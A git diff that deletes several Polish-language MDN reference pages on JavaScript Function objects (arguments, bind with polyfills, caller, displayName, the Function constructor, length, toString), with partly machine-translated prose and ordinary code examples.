{{SpecName('ESDraft', '#sec-function.prototype.apply', 'Function.prototype.apply')}}{{Spec2('ESDraft')}} 
- -

Zgodność z przeglądarkami

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
ES 5.1 generic array-like object as {{jsxref("Functions/arguments", "arguments")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
ES 5.1 generic array-like object as {{jsxref("Functions/arguments", "arguments")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("2.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/function/arguments/index.html b/files/pl/web/javascript/referencje/obiekty/function/arguments/index.html deleted file mode 100644 index abbb63eef4..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/function/arguments/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Function.arguments -slug: Web/JavaScript/Referencje/Obiekty/Function/arguments -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Function/arguments ---- -

{{JSRef}}{{ Deprecated_header() }}

- -

Podsumowanie

- -

Obiekt tablicopodobny odpowiadający argumentom przekazywanym funkcji.

- -

Opis

- -

Należy użyć obiektu arguments dostępnego wewnątrz funkcji zamiast Function.arguments.

- -

W przypadku rekurencji, tzn. jeśli funkcja f pojawia się kilkakrotnie na stosie wywołania, wartość of f.arguments reprezentuje argumenty odpowiadające ostatniemu wywołaniu funkcji.

- -

Przykład

- -
function f(n) { g(n-1) }
-
-function g(n) {
-  console.log("przed: " + g.arguments[0]);
-  if(n>0) { f(n); }
-  console.log("po: " + g.arguments[0]);
-}
-f(2);
-
- -

wyświetli:

- -
przed: 1
-przed: 0
-po: 0
-po: 1
-
diff --git a/files/pl/web/javascript/referencje/obiekty/function/bind/index.html b/files/pl/web/javascript/referencje/obiekty/function/bind/index.html deleted file mode 100644 index 028db6b6d4..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/function/bind/index.html +++ /dev/null @@ -1,332 +0,0 @@ ---- -title: Function.prototype.bind() -slug: Web/JavaScript/Referencje/Obiekty/Function/bind -translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind ---- -
{{JSRef}}
-Metoda bind() tworzy nową funkcję, której wywołanie powoduje ustawienie this na podaną wartość, z podaną sekwencją argumentów poprzedzającą dowolną podaną podczas wywołania nowej funkcji.
- -
{{EmbedInteractiveExample („pages / js / function-bind.html”, „taller”)}}
-Źródło tego interaktywnego przykładu jest przechowywane w repozytorium GitHub. Jeśli chcesz przyczynić się do projektu interaktywnych przykładów, sklonuj https://github.com/mdn/interactive-examples i wyślij nam prośbę o pobranie.
- -

Syntax

- -
let boundFunc = func.bind(thisAtr[, arg1[, arg2[, ...argN]]])
-
- -

Parametry

- -
-
thisAtr
-
Wartość, która ma być przekazana jako this do funkcji docelowej func po wywołaniu funkcji powiązanej. Wartość jest ignorowana, jeśli funkcja powiązana jest konstruowana przy użyciu operatora {{jsxref („Operators / new”, „new”)}}. Podczas używania funkcji bind do utworzenia funkcji (dostarczonej jako wywołanie zwrotne) wewnątrz setTimeout, każda prymitywna wartość przekazywana, gdy thisAtr jest konwertowany na obiekt. Jeśli nie podano żadnych argumentów, aby powiązać (bind), lub jeśli thisArg jest null lub undefined, this z zakresu wykonania jest traktowany jako thisAtr dla nowej funkcji.
-
arg1, arg2, ...argN {{optional_inline}}
-
Argumenty poprzedzające argumenty dostarczone funkcji powiązanej podczas wywoływania func.
-
- -

Zwracana wartość

- -

Kopia podanej funkcji z podaną tą wartością i początkowymi argumentami (jeśli podano).

- -

Opis

- -

Funkcja bind() tworzy nową funkcję wiązania (bound function), która jest exotic function object (termin z ECMAScript 2015), który zawija oryginalny obiekt funkcji. Wywołanie funkcji powiązanej zazwyczaj skutkuje wykonaniem jej owrapowanej funkcji.

- -

Funckja wiązania (bound function) ma następujące właściwości wewnętrzne:

- -
-
[[BoundTargetFunction]]
-
The wrapped function object
-
[[BoundThis]]
-
The value that is always passed as this value when calling the wrapped function.
-
[[BoundArguments]]
-
A list of values whose elements are used as the first arguments to any call to the wrapped function.
-
[[Call]]
-
Executes code associated with this object. Invoked via a function call expression. The arguments to the internal method are a this value and a list containing the arguments passed to the function by a call expression.
-
- -

When a bound function is called, it calls internal method [[Call]] on [[BoundTargetFunction]], with following arguments Call(boundThis, ...args). Where boundThis is [[BoundThis]], args is [[BoundArguments]], followed by the arguments passed by the function call.

- -

A bound function may also be constructed using the {{jsxref("Operators/new", "new")}} operator. Doing so acts as though the target function had instead been constructed. The provided this value is ignored, while prepended arguments are provided to the emulated function.

- -

Examples

- -

Creating a bound function

- -

The simplest use of bind() is to make a function that, no matter how it is called, is called with a particular this value.

- -

A common mistake for new JavaScript programmers is to extract a method from an object, then to later call that function and expect it to use the original object as its this (e.g., by using the method in callback-based code).

- -

Without special care, however, the original object is usually lost. Creating a bound function from the function, using the original object, neatly solves this problem:

- -
this.x = 9;    // 'this' refers to global 'window' object here in a browser
-const module = {
-  x: 81,
-  getX: function() { return this.x; }
-};
-
-module.getX();
-//  returns 81
-
-const retrieveX = module.getX;
-retrieveX();
-//  returns 9; the function gets invoked at the global scope
-
-//  Create a new function with 'this' bound to module
-//  New programmers might confuse the
-//  global variable 'x' with module's property 'x'
-const boundGetX = retrieveX.bind(module);
-boundGetX();
-//  returns 81
-
- -

Funkcje częściowo zastosowane
- Kolejnym najprostszym zastosowaniem bind () jest utworzenie funkcji z wcześniej określonymi argumentami początkowymi.

- -

Argumenty te (jeśli występują) są zgodne z podaną wartością, a następnie są wstawiane na początku argumentów przekazywanych do funkcji docelowej, a następnie wszelkie argumenty przekazywane funkcja powiązana w momencie jej wywołania.

- -
function list() {
-  return Array.prototype.slice.call(arguments);
-}
-
-function addArguments(arg1, arg2) {
-  return arg1 + arg2
-}
-
-const list1 = list(1, 2, 3);
-//  [1, 2, 3]
-
-const result1 = addArguments(1, 2);
-//  3
-
-// Create a function with a preset leading argument
-const leadingThirtysevenList = list.bind(null, 37);
-
-// Create a function with a preset first argument.
-const addThirtySeven = addArguments.bind(null, 37);
-
-const list2 = leadingThirtysevenList();
-//  [37]
-
-const list3 = leadingThirtysevenList(1, 2, 3);
-//  [37, 1, 2, 3]
-
-const result2 = addThirtySeven(5);
-//  37 + 5 = 42
-
-const result3 = addThirtySeven(5, 10);
-//  37 + 5 = 42
-//  (the second argument is ignored)
-
-
-
- -

With setTimeout()

- -

By default within window.setTimeout(), the this keyword will be set to the window (or global) object. When working with class methods that require this to refer to class instances, you may explicitly bind this to the callback function, in order to maintain the instance.

- -
function LateBloomer() {
-  this.petalCount = Math.floor(Math.random() * 12) + 1;
-}
-
-// Declare bloom after a delay of 1 second
-LateBloomer.prototype.bloom = function() {
-  window.setTimeout(this.declare.bind(this), 1000);
-};
-
-LateBloomer.prototype.declare = function() {
-  console.log(`I am a beautiful flower with ${this.petalCount} petals!`);
-};
-
-const flower = new LateBloomer();
-flower.bloom();
-//  after 1 second, calls 'flower.declare()'
-
- -

Funkcje powiązane używane jako kostruktory

- -
-

Ostrzeżenie: ta sekcja pokazuje możliwości JavaScript i dokumentuje niektóre przypadki krawędzi metody bind ().

- -

Metody przedstawione poniżej nie są najlepszym sposobem na robienie rzeczy i prawdopodobnie nie powinny być stosowane w żadnym środowisku produkcyjnym.

-
- -

Funkcje powiązane są automatycznie odpowiednie do użycia z operatorem {{jsxref („Operators / new”, „new”)}} do tworzenia nowych instancji utworzonych przez funkcję docelową. Gdy do utworzenia wartości używana jest funkcja powiązana, pod warunkiem, że jest to ignorowane.

- -

Jednak pod warunkiem, że argumenty są nadal dołączane do wywołania konstruktora:

- -
function Point(x, y) {
-  this.x = x;
-  this.y = y;
-}
-
-Point.prototype.toString = function() {
-  return `${this.x},${this.y}`;
-};
-
-const p = new Point(1, 2);
-p.toString();
-// '1,2'
-
-
-//  not supported in the polyfill below,
-
-//  works fine with native bind:
-
-const YAxisPoint = Point.bind(null, 0/*x*/);
-
-
-const emptyObj = {};
-const YAxisPoint = Point.bind(emptyObj, 0/*x*/);
-
-const axisPoint = new YAxisPoint(5);
-axisPoint.toString();                    // '0,5'
-
-axisPoint instanceof Point;              // true
-axisPoint instanceof YAxisPoint;         // true
-new YAxisPoint(17, 42) instanceof Point; // true
-
- -

Zauważ, że nie musisz robić nic specjalnego, aby utworzyć powiązaną funkcję do użycia z {{jsxref („Operators / new”, „new”)}}.

- -

Następstwem jest to, że nie musisz robić nic specjalnego, aby utworzyć funkcję powiązaną, która będzie wywoływana w sposób jawny, nawet jeśli wolisz, aby funkcja powiązana była wywoływana tylko za pomocą {{jsxref („Operators / new”, „new”)}} .

- -
//  Example can be run directly in your JavaScript console
-//  ...continued from above
-
-//  Can still be called as a normal function
-//  (although usually this is undesired)
-YAxisPoint(13);
-
-`${emptyObj.x},${emptyObj.y}`;
-// >  '0,13'
-
- -

If you wish to support the use of a bound function only using {{jsxref("Operators/new", "new")}}, or only by calling it, the target function must enforce that restriction.

- -

Tworzenie skrótów

- -

bind () jest również pomocny w przypadkach, w których chcesz utworzyć skrót do funkcji, która wymaga podania tej wartości.

- -

Weźmy na przykład {{jsxref ("Array.prototype.slice ()")}}, którego chcesz użyć do konwersji obiektu podobnego do tablicy na prawdziwą tablicę. Możesz utworzyć taki skrót:

- -
const slice = Array.prototype.slice;
-
-// ...
-
-slice.apply(arguments);
-
- -

Za pomocą bind () można to uprościć.

- -

W poniższym fragmencie kodu slice () jest funkcją powiązaną z funkcją {{jsxref („Function.prototype.apply ()”, „Apply ()”)}} z {{jsxref („Function.prototype”) }}, z tą wartością ustawioną na {{jsxref („Array.prototype.slice ()”, „slice ()”)}} funkcji {{jsxref („Array.prototype”)}}. Oznacza to, że dodatkowe wywołania apply () można wyeliminować:

- -
//  same as "slice" in the previous example
-const unboundSlice = Array.prototype.slice;
-const slice = Function.prototype.apply.bind(unboundSlice);
-
-// ...
-
-slice(arguments);
-
- -

Polyfill
- Ponieważ starsze przeglądarki są na ogół również wolniejszymi przeglądarkami, jest to o wiele bardziej krytyczne niż większość ludzi rozpoznaje tworzenie polifillów wydajności, aby przeglądanie w przestarzałych przeglądarkach było nieco mniej straszne.

- -

W związku z tym poniżej przedstawiono dwie opcje dla funkcji wypełniania funkcji Function.prototype.bind ():

- -

Pierwszy jest znacznie mniejszy i bardziej wydajny, ale nie działa, gdy używasz nowego operatora.
- Drugi jest większy i mniej wydajny, ale pozwala na pewne użycie nowego operatora na powiązanych funkcjach.
- Zasadniczo w większości kodów bardzo rzadko widuje się nowe używane w funkcji powiązanej, więc najlepiej jest wybrać pierwszą opcję.

- -
//  Does not work with `new funcA.bind(thisArg, args)`
-if (!Function.prototype.bind) (function(){
-  var slice = Array.prototype.slice;
-  Function.prototype.bind = function() {
-    var thatFunc = this, thatArg = arguments[0];
-    var args = slice.call(arguments, 1);
-    if (typeof thatFunc !== 'function') {
-      // closest thing possible to the ECMAScript 5
-      // internal IsCallable function
-      throw new TypeError('Function.prototype.bind - ' +
-             'what is trying to be bound is not callable');
-    }
-    return function(){
-      var funcArgs = args.concat(slice.call(arguments))
-      return thatFunc.apply(thatArg, funcArgs);
-    };
-  };
-})();
- -

Możesz częściowo obejść ten problem, wstawiając następujący kod na początku skryptów, umożliwiając korzystanie z większości funkcji bind () w implementacjach, które nie obsługują go natywnie.

- -
//  Yes, it does work with `new funcA.bind(thisArg, args)`
-if (!Function.prototype.bind) (function(){
-  var ArrayPrototypeSlice = Array.prototype.slice;
-  Function.prototype.bind = function(otherThis) {
-    if (typeof this !== 'function') {
-      // closest thing possible to the ECMAScript 5
-      // internal IsCallable function
-      throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');
-    }
-
-    var baseArgs= ArrayPrototypeSlice .call(arguments, 1),
-        baseArgsLength = baseArgs.length,
-        fToBind = this,
-        fNOP    = function() {},
-        fBound  = function() {
-          baseArgs.length = baseArgsLength; // reset to default base arguments
-          baseArgs.push.apply(baseArgs, arguments);
-          return fToBind.apply(
-                 fNOP.prototype.isPrototypeOf(this) ? this : otherThis, baseArgs
-          );
-        };
-
-    if (this.prototype) {
-      // Function.prototype doesn't have a prototype property
-      fNOP.prototype = this.prototype;
-    }
-    fBound.prototype = new fNOP();
-
-    return fBound;
-  };
-})();
-
- -

Niektóre z wielu różnic (mogą być też inne, ponieważ ta lista nie próbuje być wyczerpująca) między tym algorytmem a określonym algorytmem to:

- -

Częściowa implementacja opiera się na {{jsxref ("Array.prototype.slice ()")}}, {{jsxref ("Array.prototype.concat ()")}}, {{jsxref ("Function.prototype.call ( ) ")}} i {{jsxref (" Function.prototype.apply () ")}}, wbudowane metody mające swoje oryginalne wartości.
- Częściowa implementacja tworzy funkcje, które nie mają niezmiennej „pigułki trucizny” {{jsxref („Function.caller”, „caller”)}} i właściwości argumentów, które wyrzucają {{jsxref („Global_Objects / TypeError”, „TypeError”) }} przy pobieraniu, ustawianiu lub usuwaniu. (Można to dodać, jeśli implementacja obsługuje {{jsxref („Object.defineProperty”)}} lub częściowo zaimplementowana [bez zachowania polegającego na rzucaniu przy usuwaniu], jeśli implementacja obsługuje {{jsxref („Object .__ zdefiniujGetter__”, „ __defineGetter__ ”)}} i {{jsxref („ Object .__ definiSetter__ ”,„ __defineSetter__ ”)}}).
- Częściowa implementacja tworzy funkcje, które mają właściwość prototypu. (Właściwie powiązane funkcje nie mają żadnych.)
- Częściowa implementacja tworzy powiązane funkcje, których właściwość {{jsxref („Function.length”, „length”)}}} nie zgadza się z właściwością nakazaną przez ECMA-262: tworzy funkcje o długości 0. Pełna implementacja - w zależności od długość funkcji docelowej i liczba wcześniej określonych argumentów - może zwrócić niezerową długość.
- Częściowa implementacja tworzy powiązane funkcje, których właściwość {{jsxref („Function.name”, „name”)}} nie jest pochodną oryginalnej nazwy funkcji. Według ECMA-262 nazwa zwróconej funkcji powiązanej powinna być „związana” + nazwa funkcji docelowej.
- Jeśli zdecydujesz się użyć tej częściowej implementacji, nie możesz polegać na przypadkach, w których zachowanie odbiega od ECMA-262, wydanie 5! Na szczęście te odchylenia od specyfikacji rzadko (jeśli w ogóle) pojawiają się w większości sytuacji kodowania. Jeśli nie rozumiesz żadnego z odchyleń od powyższej specyfikacji, w tym konkretnym przypadku można bezpiecznie nie martwić się o te niezgodne szczegóły odchylenia.

- -

Jeśli jest to absolutnie konieczne, a wydajność nie stanowi problemu, znacznie wolniejsze (ale bardziej zgodne ze specyfikacją rozwiązanie) można znaleźć na stronie https://github.com/Raynos/function-bind.

- -

Dane techniczne

- - - - - - - - - - - - -
Specyfikacja
{{SpecName('ESDraft', '#sec-function.prototype.bind', 'Function.prototype.bind')}}
- -
Kompatybilność z przeglądarkami
- Tabela zgodności na tej stronie jest generowana z danych strukturalnych. Jeśli chcesz przyczynić się do danych, sprawdź https://github.com/mdn/browser-compat-data i wyślij nam żądanie ściągnięcia.
- {{Compat ("javascript.builtins.Function.bind")}}
- -

See also

- - diff --git a/files/pl/web/javascript/referencje/obiekty/function/caller/index.html b/files/pl/web/javascript/referencje/obiekty/function/caller/index.html deleted file mode 100644 index 1c86b7f92f..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/function/caller/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Function.caller -slug: Web/JavaScript/Referencje/Obiekty/Function/caller -tags: - - Function - - JavaScript - - Non-standard - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Function/caller ---- -
{{JSRef}} {{non-standard_header}}
- -

Podsumowanie

- -

Określa funkcję, która powołuje się na aktualnie wykonywaną funkcje.

- -

Opis

- -

Jeśli funkcja f została wywołana przez kod najwyższego poziomu, własność f.caller ma wartość {{jsxref("null")}}, w przeciwnym przypadku jest to funkcja, która wywołała f.

- -

Ta własność zastąpiła wycofaną własność {{jsxref("arguments.caller")}}.

- -

Notes

- -

Note that in case of recursion, you can't reconstruct the call stack using this property. Consider:

- -
function f(n) { g(n-1); }
-function g(n) { if(n>0) { f(n); } else { stop(); } }
-f(2);
-
- -

At the moment stop() is called the call stack will be:

- -
f(2) -> g(1) -> f(1) -> g(0) -> stop()
-
- -

The following is true:

- -
stop.caller === g && f.caller === g && g.caller === f
-
- -

so if you tried to get the stack trace in the stop() function like this:

- -
var f = stop;
-var stack = "Stack trace:";
-while (f) {
-  stack += "\n" + f.name;
-  f = f.caller;
-}
-
- -

the loop would never stop.

- -

Przykłady

- -

Przykład: Sprawdzenie wartości własności funkcji caller

- -

Następujący kod sprawdza wartość własności funkcji caller.

- -
function myFunc() {
-   if (myFunc.caller == null) {
-      return ("The function was called from the top!");
-   } else {
-      return ("This function's caller was " + myFunc.caller);
-   }
-}
-
- -
 
diff --git a/files/pl/web/javascript/referencje/obiekty/function/displayname/index.html b/files/pl/web/javascript/referencje/obiekty/function/displayname/index.html deleted file mode 100644 index 72c8c41257..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/function/displayname/index.html +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: Function.displayName -slug: Web/JavaScript/Referencje/Obiekty/Function/displayName -translation_of: Web/JavaScript/Reference/Global_Objects/Function/displayName ---- -
{{JSRef}} {{non-standard_header}}
- -

Właściwość function.displayName zwraca wyświetlaną nazwę funkcji.

- -

Opis

- -

Gdy jest zdefiniowana, wlaściwość displayName zwraca wyświetlaną nazwę funkcji:

- -
function doSomething() {}
-
-console.log(doSomething.displayName); // "undefined"
-
-var popup = function(content) { console.log(content); };
-
-popup.displayName = 'Pokaż Popup';
-
-console.log(popup.displayName); // "Pokaż Popup"
-
- -

Możesz zdefiniować funkcję z wyświetlaną nazwą {{jsxref("Functions", "function expression", "", 1)}}:

- -
var object = {
-  someMethod: function() {}
-};
-
-object.someMethod.displayName = 'jakaśMetoda';
-
-console.log(object.someMethod.displayName); // logs "jakaśMetoda"
-
-try { someMethod } catch(e) { console.log(e); }
-// ReferenceError: jakaśMetoda is not defined
-
- -

Możesz dynamicznie zmieniać displayName z funkcji:

- -
var object = {
-  // anonymous
-  someMethod: function(value) {
-    this.displayName = 'jakaśMetoda (' + value + ')';
-  }
-};
-
-console.log(object.someMethod.displayName); // "undefined"
-
-object.someMethod('123')
-console.log(object.someMethod.displayName); // "jakaśMetoda (123)"
-
- -

Przykłady

- -

Zazwyczaj preferowane jest przez konsole i profilery podczas {{jsxref("Function.name", "func.name")}} aby wyświetlić nazwę funkcji.

- -

Umieszczony w konsoli powinien wyświetlić coś w rodzaju "function Moja Funkcja()":

- -
var a = function() {};
-a.displayName = 'Moja Funkcja';
-
-a; // "function Moja Funkcja()"
- -

Specyfikacja

- -

Nie jest częścią żadnej specyfikacji.

- -

Zgodność z przeglądarką

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop(13)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
diff --git a/files/pl/web/javascript/referencje/obiekty/function/index.html b/files/pl/web/javascript/referencje/obiekty/function/index.html deleted file mode 100644 index 2db4d33411..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/function/index.html +++ /dev/null @@ -1,237 +0,0 @@ ---- -title: Function -slug: Web/JavaScript/Referencje/Obiekty/Function -tags: - - Function - - JavaScript - - Konstruktor -translation_of: Web/JavaScript/Reference/Global_Objects/Function ---- -
{{JSRef}}
- -

Konstruktor Function tworzy nowy obiekt Function(tworzy funkcję poprzez konstruktor). W JavaScripcie właściwie każda funkcja jest obiektem Function.

- -

Składnia

- -
new Function ([arg1[, arg2[, ...argN]],] functionBody)
- -

Parametry

- -
-
arg1, arg2, ... argN
-
Names to be used by the function as formal argument names. Each must be a string that corresponds to a valid JavaScript identifier or a list of such strings separated with a comma; for example "x", "theValue", or "a,b".
-
functionBody
-
A string containing the JavaScript statements comprising the function definition.
-
- -

Opis

- -

Function objects created with the Function constructor are parsed when the function is created. This is less efficient than declaring a function with a function expression or function statement and calling it within your code, because such functions are parsed with the rest of the code.

- -

All arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in which they are passed.

- -
-

Note: Functions created with the Function constructor do not create closures to their creation contexts; they always are created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the Function constructor was called. This is different from using {{jsxref("Global_Objects/eval", "eval")}} with code for a function expression.

-
- -

Wywołanie konstruktora Function jako funkcję (bez użycia operatora 'new') ma taki sam efekt jak wywołanie konstruktora(z operatorem).

- -

Właściwości i metody Function

- -

The global Function object has no methods or properties of its own, however, since it is a function itself it does inherit some methods and properties through the prototype chain from {{jsxref("Function.prototype")}}.

- -

Function prototype object

- -

Właściwości

- -
{{page('/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Properties')}}
- -

Metody

- -
{{page('/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Methods')}}
- -

Function instances

- -

Function instances inherit methods and properties from {{jsxref("Function.prototype")}}. As with all constructors, you can change the constructor's prototype object to make changes to all Function instances.

- -

Przykłady

- -

Przykład: Specifying arguments with the Function constructor

- -

Poniższy przykład tworzy obiekt Function(tworzy funkcję poprzez konstruktor), który przyjmuje dwa argumenty.

- -
// Przykład może być uruchomiony bezpośrednio w konsoli JavaScript
-
-// Tworzy funkcję, która przyjmuje dwa argumenty i zwraca ich sumę
-var adder = new Function('a', 'b', 'return a + b');
-
-// Wywołanie funkcji
-adder(2, 6);
-// > 8
-
- -

Argumenty "a" i "b" są formanie nazwami argumentrów, które są użyte w ciele funkcji, "return a + b".

- -

Przykład: A recursive shortcut to massively modify the DOM

- -

Creating functions with the Function constructor is one of the ways to dynamically create an indeterminate number of new objects with some executable code into the global scope from a function. The following example (a recursive shortcut to massively modify the DOM) is impossible without the invocation of the Function constructor for each new query if you want to avoid closures.

- -
<!doctype html>
-<html>
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-<title>MDN Example - a recursive shortcut to massively modify the DOM</title>
-<script type="text/javascript">
-var domQuery = (function() {
-  var aDOMFunc = [
-    Element.prototype.removeAttribute,
-    Element.prototype.setAttribute,
-    CSSStyleDeclaration.prototype.removeProperty,
-    CSSStyleDeclaration.prototype.setProperty
-  ];
-
-  function setSomething(bStyle, sProp, sVal) {
-    var bSet = Boolean(sVal), fAction = aDOMFunc[bSet | bStyle << 1],
-        aArgs = Array.prototype.slice.call(arguments, 1, bSet ? 3 : 2),
-        aNodeList = bStyle ? this.cssNodes : this.nodes;
-
-    if (bSet && bStyle) { aArgs.push(''); }
-    for (
-      var nItem = 0, nLen = this.nodes.length;
-      nItem < nLen;
-      fAction.apply(aNodeList[nItem++], aArgs)
-    );
-    this.follow = setSomething.caller;
-    return this;
-  }
-
-  function setStyles(sProp, sVal) { return setSomething.call(this, true, sProp, sVal); }
-  function setAttribs(sProp, sVal) { return setSomething.call(this, false, sProp, sVal); }
-  function getSelectors() { return this.selectors; };
-  function getNodes() { return this.nodes; };
-
-  return (function(sSelectors) {
-    var oQuery = new Function('return arguments.callee.follow.apply(arguments.callee, arguments);');
-    oQuery.selectors = sSelectors;
-    oQuery.nodes = document.querySelectorAll(sSelectors);
-    oQuery.cssNodes = Array.prototype.map.call(oQuery.nodes, function(oInlineCSS) { return oInlineCSS.style; });
-    oQuery.attributes = setAttribs;
-    oQuery.inlineStyle = setStyles;
-    oQuery.follow = getNodes;
-    oQuery.toString = getSelectors;
-    oQuery.valueOf = getNodes;
-    return oQuery;
-  });
-})();
-</script>
-</head>
-
-<body>
-
-<div class="testClass">Lorem ipsum</div>
-<p>Some text</p>
-<div class="testClass">dolor sit amet</div>
-
-<script type="text/javascript">
-domQuery('.testClass')
-  .attributes('lang', 'en')('title', 'Risus abundat in ore stultorum')
-  .inlineStyle('background-color', 'black')('color', 'white')('width', '100px')('height', '50px');
-</script>
-</body>
-
-</html>
- -

 

- -

Specyfikacja

- -

 

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
ECMAScript 1st Edition.StandardInitial definition. Implemented in JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.3', 'Function')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-function-objects', 'Function')}}{{Spec2('ES6')}} 
- -

Kompatybilność z przeglądarkami

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/function/length/index.html b/files/pl/web/javascript/referencje/obiekty/function/length/index.html deleted file mode 100644 index e34ecb8154..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/function/length/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Function.length -slug: Web/JavaScript/Referencje/Obiekty/Function/length -tags: - - Function - - JavaScript - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Function/length ---- -

{{JSRef}}

- -

Podsumowanie

- -

Określa liczbę argumentów oczekiwanych przez funkcję.

- -

Opis

- -

Obiekt length znajduje się na zewnątrz funkcji i określa jak wiele argumentów ma oczekiwać funkcja, i.e. liczbę oficjalnych parametrów. W przeciwieństwie do obiektu {{jsxref("arguments.length")}}, który znajduje się wewnątrz funkcji, określa liczbę argumentów faktycznie przekazywanych do funkcji.

- -

Przykład

- -

Przykład: Zastosowanie Function.length i arguments.length

- -

Następujący przykład pokazuje w jaki należy zastosować Function.length i arguments.length.

- -
function addNumbers(x, y){
-   if (arguments.length == addNumbers.length) {
-      return (x + y);
-   }
-   else
-      return 0;
-}
-
- -

Jeśli podamy więcej niż dwa argumenty do tej funkcji, funkcja zwróci 0:

- -
addNumbers(3,4,5)   // zwraca 0
-addNumbers(3,4)     // zwraca 7
-addNumbers(103,104) // zwraca 207
-
- -
 
diff --git a/files/pl/web/javascript/referencje/obiekty/function/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/function/tostring/index.html deleted file mode 100644 index 2f158219b9..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/function/tostring/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Function.prototype.toString() -slug: Web/JavaScript/Referencje/Obiekty/Function/toString -tags: - - Function - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Function/toString ---- -
{{JSRef}}
- -

Podsumowanie

- -

Zwraca łańcuch znaków reprezentujący kod źródłowy funkcji.

- -

Składnia

- -
function.toString(indentation)
- -

Parametry

- -
-
indentation {{non-standard_inline}} {{obsolete_inline(17)}}
-
The amount of spaces to indent the string representation of the source code. If indentation is less than or equal to -1, most unnecessary spaces are removed.
-
- -

Opis

- -

Obiekt {{jsxref("Function")}} przesłania metodę {{jsxref("Object.prototype.toString", "toString")}} obiektu {{jsxref("Function")}}; nie dziedziczy {{jsxref("Object.prototype.toString")}}. Dla obiektów Function, metoda toString() zwraca łańcuch znaków reprezentujący obiekt.

- -

JavaScript wywołuje metodę toString() automatycznie, gdy {{jsxref("Function")}} jest reprezentowana jako wartość tekstowa lub kiedy Function jest odsyłana do połączenia łańcuchów znaków.

- -

Dla obiektów {{jsxref("Function")}}, wbudowana metoda toString)= dekompiluje funkcję z powrotem do kodu JavaScript, który tę funkcję definiuje. Łańcuch znaków zawiera słowa kluczowe function, listę argumentów, nawiasy klamrowe oraz ciało funkcji.

- -

Załóżmy na przykład, że masz poniższy kod, który definiuje obiektowy typ Dog i tworzy theDog, obiekt typu Dog:

- -
function Dog(name, breed, color, sex) {
-   this.name = name
-   this.breed = breed
-   this.color = color
-   this.sex = sex
-}
-
-theDog = new Dog( "Gabby", "Lab", "chocolate", "girl" );
-
- -

W dowolnej chwili, gdy Dog jest użyty w kontekście jako łańcuch znaków, JavaScript automatycznie wywołuje funkcję toString, która zwraca poniższy łańcuch znaków:

- -
function Dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; }
- -

Zobacz także

